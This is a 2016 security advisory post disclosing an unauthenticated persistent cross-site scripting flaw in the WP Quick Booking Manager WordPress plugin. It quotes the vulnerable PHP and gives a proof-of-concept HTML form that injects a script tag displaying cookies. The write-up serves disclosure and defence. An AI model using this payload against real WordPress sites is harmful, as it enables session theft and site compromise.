03 Oct

Persistent Cross-Site Scripting (XSS) Vulnerability in WP Quick Booking Manager

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. In the most recent case though we are still not quite sure what the hacker was targeting. Recently we found a hacker probing for usage of the plugin WP Quick Booking Manager, along with five other plugins at the same time. As we started looking over the plugins, one connection we found was that they all contained code that looked susceptible to SQL injections. For this plugin we then noticed another security vulnerability, a persistent cross-site scripting (XSS) vulnerability, that looks to be easier to exploit and that type of vulnerability is more often targeted (though usually with plugin with a lot more active installations than this one).

In the file /scbooking.php the function gen_save_cssfixfront() is made accessible to those not logged in through WordPress’ AJAX functionality:

721
add_action( 'wp_ajax_nopriv_gen_save_cssfixfront','gen_save_cssfixfront' );

That function takes user input and stores it to be shown on Calendar pages generated by the plugin:

703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
function gen_save_cssfixfront(){
  if ( count($_POST) > 0 ){ 
    global $table_prefix,$wpdb;
 
    $cssfix = $_REQUEST['cssfix'];
    $css = $_REQUEST['css'];
    $isupdate ="";
    if($cssfix == "front"){
      $isupdate = update_option('cssfix_front',$css);
    }
    if($isupdate){
      echo "added";
    }
 
  }
  exit;
}

The is no sanitization done when it is being stored and no escaping when it is being output in the file /includes/fullcalendar_shortcode.php:

$cssfix_front = get_option('cssfix_front');
$output .= '<style type="text/css">'.$cssfix_front.'</style>

Proof of Concept

The following proof of concept will cause the contents of any accessible cookies to be shown in an alert box on the pages containing the shortcode “[gen_sccalendar]”.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="gen_save_cssfixfront" />
<input type="hidden" name="cssfix" value="front" />
<input type="hidden" name="css" value="</style><script>alert(document.cookie);</script><style>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/3/2016 – WordPress.org Plugin Directory notified.

Leave a Reply

Your email address will not be published. Required fields are marked *